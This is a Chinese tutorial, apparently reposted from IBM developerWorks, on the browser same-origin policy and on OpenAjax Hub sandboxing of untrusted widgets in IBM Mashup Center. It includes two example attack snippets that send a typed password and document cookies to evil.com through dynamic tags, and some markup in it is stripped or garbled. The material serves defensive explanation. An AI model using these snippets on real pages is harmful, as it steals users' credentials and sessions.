利用 OpenAjax 在 IBM Mashup Center 中提高 iWidget 的安全性

转自http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/

Mashup 应用的安全隐患

什么是同源策略

要了解不受信 Widget 给 Mashup 应用带来的危险,首先要理解浏览器的同源策略(Same-Origin Policy)。

浏览器的同源策略是 Web 安全的基础,所有的主流浏览器都会有相应的实现。同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下,浏览器只允许网页中的脚本(如 JavaScript. 或 VBScript)访问与之同源的 HTTP 请求和 cookie。比如,http://www.example.com/same1.htm 和 http://www.example.com/same2.html 是属于同一个源,网页之间的脚本访问不受限制;而在 http://www.example.com/diff1.html 页面中的脚本无法对 http://12.34.56.78/diff1.html 里的数据进行读和写,即使 www.example.com 域名对应的 IP 就是 12.34.56.78。下表给出了一些与 http://www.example.com/directory/page.html 做同源比较的结果:


表 1. 同源 URL 实例
URL 是否同源原因
http://www.example.com/directory2/page2.html
http://www.example.com/directory/another.html
https://www.example.com/directory/page.html 协议不同
http://www.example.com:8080/directory/page.html 端口号不同
http://www.example2.com/directory/page.html 主机名不同

这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制,而对静态的资源文件,如 JavaScript. 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中(例如 , , %E2%80%9D%E2%80%A6%E2%80%9D)。因此,对于静态文件可以从任意其它域名下导入 HTML 文档。这些从其他域名导入的文件都会被认为在导入的 HTML 文档的上下文中操作,所以是符合同源条件的。对于 XMLHttpRequest, 同源策略会限制应用程序不能够访问“非同源”的服务。

同源策略保证了 Web 应用的安全。这样,用户在访问网上银行的时候就保证不会被网页中插入的恶意代码窃取密码再发送到别的服务器上去。但是这一策略恰恰在 Web2.0 时代成为了一个应用开发的障碍。Web2.0 时代的网页应用不仅要求用户可以查看页面,同时也允许用户贡献,分享数据。尤其是像 Mashup 这种需要集成多方的数据源的应用。比如,作为显示多家航空公司票价的 Mashup 应用,我们希望在同一个页面上能够同时显示来自多个航空公司网站的票价数据。但是由于同源策略的限制,我们无法直接在 Mashup 的 Web 客户端用脚本语言访问这些航空公司来取得数据。为此,我们必须绕过浏览器的同源策略限制。

如何绕过同源策略的限制

要绕过浏览器的同源策略限制,主要有以下几种方法:

Ajax 代理

通常的做法是在服务器端实现 Ajax 代理。比如 http://foo.com/airticket.html 中的脚本需要取得来自 http://bar.com/airticket.html 中的机票信息,可以在 foo.com 的服务端实现一个 Ajax 代理。这样,当客户端需要往 bar.com 发送请求的时候,客户端可以向服务器端的 Ajax 代理 http://foo.com/ajax_proxy/http/bar.com/airticket 网址发送请求。Ajax 代理在服务端向 http://bar.com 转发请求,返回后再转发给 Web 客户端。通过这样的方式,foo.com 的 Web 客户端实际上是往自己域名下的发送请求而不会受到浏览器的限制。这是常见的 Mashup 平台惯用的做法。不过,显然 Ajax 代理带来的便利也变成了恶意代码滋生的温床。通过 Ajax 代理,彻底破坏了浏览器的同源策略。运用代理 , 任何一个脚本都可以不受限的与远端的服务器进行通信。

JSON 和动态 Script. 标签

浏览器的同源策略仅限于页面的 HTML 文档,而对静态的资源文件没有要求。对于脚本文件来说,不管来自于什么域名下的脚本,只要导入到当前页面上,在当前页面上执行,则脚本运行的上下文就是当前域名。这也给了我们另一个机会用在 Web 客户端直接用脚本语言来访问其他域名下的内容。JSON with Padding(JSONP)这种方法通过动态添加

运行在 http://foo.com/sample1.html 页面中的脚本:

(function() {
    function showAirTicket(data) {
        // 显示数据内容
        // ...
    }
    // 创建动态脚本标签
    var scriptTag = document.createElement("SCRIPT");
    scriptTag.setAttribute("type", "text/javascipt");
    scriptTag.setAttribute("src", 
        "http://www.bar.com/getTicket?startDate=20091224
	&endDate=20100113&callback=showAirTicket");
    document.body.appendChild(scriptTag);
})();

上面的脚本创建了一个 script. 的标签,向 bar.com 请求脚本文件。同时通过 script. 标签中 src 的 URL 把 startDate 和 endDate 信息告诉 bar.com。最后提供了 callback 用的函数名。bar.com 接收到这个请求后把数据使用 JSON 格式并且用 callback 函数调用的方式包装起来发回给 foo.com。返回数据如下:

showAirTicket("{departTime:1305,arriveTime:1555,code:'CX017'}");

这样,返回的数据会被浏览器认为是一段可执行的脚本运行。而真正的数据“{departTime:1305,arriveTime:1555,code:'CX017'}”作为形参,传入事先定义好的 showAirTicket 函数中作显示。

这是一种非常方便,不需要 Mashup 服务端做任何修改的跨域调用方法。只要远端的数据服务器支持 JSONP 的访问方式,比如 Google 的众多数据服务,就可以用纯客户端的脚本构建 Mashup 应用。但是这个便利的方法同样变成了恶意代码的栖息之地。大量的跨域脚本攻击(XSS)都利用了这种方式窃取用户敏感信息。比如,黑客们可以动态创建一个伪造的图片,地址指向自己的服务器来绕开同源策略,如:

 (function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})() 

上面这段代码动态创建了一个 IMAGE 标签,并把获得的密码通过 通过 URL 传递给远端的接收服务器。通过 和 这些静态资源文件的标签都可以被利用来作为绕过同源策略的手段。

浏览器插件

除了 Ajax 代理和动态 Script. 标签的方法外,还可以利用浏览器本身的插件绕过浏览器的同源策略。现代的浏览器如 Firefox,有大量的扩展。比如 GreaseMonkey 插件,提供了 GM_XMLHttpRequest 对象用于跨域访问。这个对象与浏览器本身的 XMLHttpRequest 的区别就是前者没有同源策略的限制。由于这些扩展多限于特定的浏览器,使用起来对 Web 客户端要求较高,应用范围狭窄,本文不在这里详述。

同源策略保证了数据访问的安全性,阻隔了大多数黑客通过 Web 客户端 用户信息的途径,但是在 Mashup 应用中却成为了阻碍 Mashup 的障碍。因此 Mashup 应用也针对同源策略提供了上面几种绕开同源策略的手段。这些手段给 Mashup 应用带来了大大的便利,同时也削弱了浏览器本身的安全性。如何给 Widget 开发人员提供便利的跨域访问方法的同时,保证恶意代码不会由 Widget 的导入而导入成为 Mashup 平台的重要问题。

在企业 Mashup 环境中,既要为 Mashup 提供 Web 客户端访问第三方信息源的手段,又不能由于这些手段引入新的安全的隐患。IBM Mashup Center 2.0 是 IBM 发布的企业级 Mashups 应用构建平台,为了解决上述问题,引入了 OpenAjax Hub 来保证企业 Mashup 环境的安全性。


OpenAjax Hub 工作原理

Mashup 应用的特点让恶意代码有可能随着 Widget 一起进来。任何一个 Mashup 页面上的 Widget 都有可能成为恶意代码的藏身地,而只要有一个 Widget 存在安全问题,整个 Mashup 应用的安全都无法得到保障。它很容易成为黑客们的攻击入口点,这给了企业 Mashup 应带来了很大的挑战。如何安全的加入第三方的 Widget 而不影响 Mashup 应用的安全性,是企业 Mashup 首要解决的问题。


图 1. 恶意 Widget 在 Mashup 环境中的威胁
图 1. 恶意 Widget 在 Mashup 环境中的威胁

为了解决上述问题,OpenAjax 应运而生。OpenAjax 是由 OpenAjax 联盟定义的一组技术和方法,用来保证 web 页面有足够的开放性和互操作性的同时,还能保证足够的安全性。它提高开放的,互操作的基于 Ajax 的 web 技术,确保客户使用 Ajax 可以得到得到长期的成功。OpenAjaxHub 是一小组 Javascript. 技术的集合,用来满足 Ajax 运行时间关键的互交互性需求。OpenAjax Hub 2.0 由 Interoperability Working Group 定义。规范定义了一组 Mashup 页面上 Widget 间的通信协议。

OpenAjax Hub 提供了两种模式,一种是 managed Hub,一种是 unmanaged Hub。Unmanaged Hub 只提供了 widget 之间的通信机制,它允许在同一个浏览器窗口中的 widget 通过 publish 和 subscribe API 来通信,而没有提供对于隔离和安全性的任何规定。Managed Hub 更加复杂,他提供了将模块隔离在安全的沙盒中的功能,比如利用不同子域名的 IFRAME. 来实现沙盒的隔离功能。因为 IBM Mashup Center 中用到的主要是 managed Hub,所以本文着重介绍 managed Hub。

在带有 OpenAjax Hub 2.0 实现的页面上,那些不被信任的第三方 Widget 会被安全的沙盒隔离开来。运行在沙盒中的 Widget 将单独运行在与 Mashup 应用不同的“源”下,确保其无法访问到 Mashup 应用的 HTML 文档。同时,为保证运行于沙盒中的 Widget 可以与页面中其他 Widget 进行通信,OpenAjax Hub 也提供了消息总线。消息总线是 OpenAjax Hub 定义的位于沙盒中的 Widget 与页面中其他 Widget 通信的一位方式。这样,任何一个运行于沙盒中的 Widget 只能够和消息总线通信,而无法直接通过脚本语言访问或修改页面上该 Widget 外的其他 Widget 或其他元素或变量。


图 2. OpenAjax Hub 隔离恶意 Widget 来保证 Mashup 环境的安全
图 2. OpenAjax Hub 隔离恶意 Widget 来保证 Mashup 环境的安全

那么 OpenAjax Hub 中的沙盒是如何实现的呢?还是利用了浏览器的同源策略。同源策略是针对页面上 HTML 文档的。也就是说它除了限制页面上的脚本访问别的域名下的服务外,如果页面上有其他来自别的域名的 frame. 或 ,不同 frame. 之间的 HTML 文档也不可以互相访问。比如,位于 http://w0.foo.com/sample1.html 下的脚本就无法访问到 http://foo.com/sample1.html 中的 HTML 文档。那么,位于 http://w0.foo.com 下的 Widget 则无法访问 http://foo.com 下的内容。使用指向不同域名的 来隔离 Widget,便是沙盒的实现。

这里有一点需要指出,不同域名并不意味着 Mashup 应用平台需要同时运行于多个服务器上。大多数的 Web 应用服务器都支持虚拟域名 / 主机名映射。通过 DNS 服务器通配符设置,我们很容易的支持任意多个 DNS 子域名映射到单个域名,从而给沙盒 提供无限多的域名支持。

有了沙盒隔离不受信的 Widget 后,OpenAjax Hub 2.0 的消息总线为运行于不同沙盒间的 Widget 提供安全通信的支持。要实现不同域名的沙盒间的通信,我们还是利用了同源策略对于资源文件不受限的特点。 中的 HTML 文档无法互相访问,但是 的 src 属性, 的导入来源却可以指向任意的域名。因此通过把数据序列化到 的 src 上可以让不同域名下 间的通信成为可能。这种技术一般称为 FIM(fragment identifier messaging),这种技术通过改变在 Window.location.href 这个变量 # 后面的字符串来传递消息。

为了使用 OpenAjax Hub 为了,应用程序,需要对 OpenAjax Hub 进行初始化,设置自己的安全回调,(这个安全回调会在模块间相互通信之前被调用来检查通信的合法性),并需要为每一个模块生成容器,这个容器可以帮助模块间进行通信。图 3 显示了应用程序如何初始化 Managed Hub 和 mashup 应用:


图 3. 应用程序初始化 Hub 和 Mashup 应用
图 3. 应用程序初始化 Hub 和 Mashup 应用

模块之间主要使用发布 / 注册的方式来要进行通信,当模块在一个主题发送一个消息的时候,容器会帮助把消息进行序列化并传递给 Hub。Hub 会调用应用程序设置的安全回调,检查消息的发送方和消息的安全性后,将消息发给注册在同一主题的模块容器。模块容器将消息反序列化再传送给模块,整个过程如图 4 所示。


图 4. OpenAjax Hub 消息传递机制
图 4. OpenAjax Hub 消息传递机制

IBM Mashup Center 2.0 中对 Sandbox 的支持

环境配置

为了在 IBM Mashup Center 中使用 Sandbox,用户需要配置按照图 5 和图 6 在 WAS Admin Console 中配置 sandboxenabled, subdomainreuse, subdomains 几个变量。


图 5. IBM Mashup Center 环境配置(Sandboxenabled, subdomainreuse)
图 5. IBM Mashup Center 环境配置(Sandboxenabled, subdomainreuse)

图 6. IBM Mashup Center 环境配置(subdomains)
图 6. IBM Mashup Center 环境配置(subdomains)

然后对 DNS 服务器进行配置,使 w0.tiansh.dyn.webahead.ibm.com,w1.tiansh.dyn.webahead.ibm.com 等的子域名都指向服务器 tiansh.dyn.webahead.ibm.com。

对 iWidget 启用 Sandbox

在 IBM Mashup Center 2.0 中对一个 iWidget 启用 Sandbox 有两种配置方式。一种是系统级别的配置。在这种配置下,iWidget 永远只能以 Sandbox 模式运行。另一种是用户级别的,这种模式允许用户对一个 iWidget 在 Sandbox 和非 Sandbox 模式下进行切换。

实例分析

作为演示 IBM Mashup Center 中 Sandbox 在 Mashup 应用中起到的作用,我们使用一个带有恶意脚本的 iWidget,分别把它放在 Sandbox 下和非 Sandbox 下运行,看看测试结果。改 iWidget 会访问浏览器的 cookie 并将 cookie 通过动态标签的方式发送到远端的服务器上。

iWidget 定义文件如下:

<?xml version="1.0" encoding="UTF-8"?>

        
            <h2>Cookie</h2>
                <div id="_IWID_cookie"></div>
                <h2>Domain</h2>
                <div id="_IWID_domain"></div>
        
    

对应 JavaScript. 脚本文件定义如下:

dojo.declare("my.unsecuredWidget", null, {
    onLoad: function() {
        var cookie = document.cookie;
        this.sendCookie(cookie);
		
        var idPrefix = "_" + this.iContext.widgetId + "_";
        this.iContext.getElementById(idPrefix + "cookie").innerHTML = cookie;
        this.iContext.getElementById(idPrefix + "domain").innerHTML = location.host;
    },
        sendCookie: function(cookieInfo) {
        dojo.create("", {
        src: "http://evil.com?cookie=" + cookieInfo
    });
    }
});

把 Widget 打包部署到 Mashup 上,如下图所示:


图 7. 未启用 Sandbox 时,widget 可以获得整个应用程序的 cookie
图 7. 未启用 Sandbox 时,widget 可以获得整个应用程序的 cookie

未启用 Sandbox 状态下取得的浏览器 cookie。注意,该 cookie 运行于与 Mashup 应用相同的域名 tiansh.dyn.webahead.ibm.com:9080 下。

启用 Sandbox 后,如图所示:


图 8. 启用 Sandbox 后,widget 无法获得应用程序的 cookie
图 8. 启用 Sandbox 后,widget 无法获得应用程序的 cookie

此时,改 Widget 获取的 Cookie 与上图中的 cookie 明显差异很大,而恶意脚本运行在 w0.tiansh.dyn.webahead.ibm.com:9080 下。即该 cookie 不是 Mashup 应用所在页面的 cookie。


总结

OpenAjax Hub 是一种有效的提高 Mashup 应用安全性的手段。使用 OpenAjaxHub,Mashup 应用模块被隔离在一个个独立的“沙箱”内,只有安全的模块才被允许互相通信。IBM Mashup Center 为了满足企业 Mashup 平台安全性的要求,在 2.0 中引入 OpenAjax Hub 来提高产品客户端的安全性。

 

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/14751907/viewspace-664867/,如需转载,请注明出处,否则将追究法律责任。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值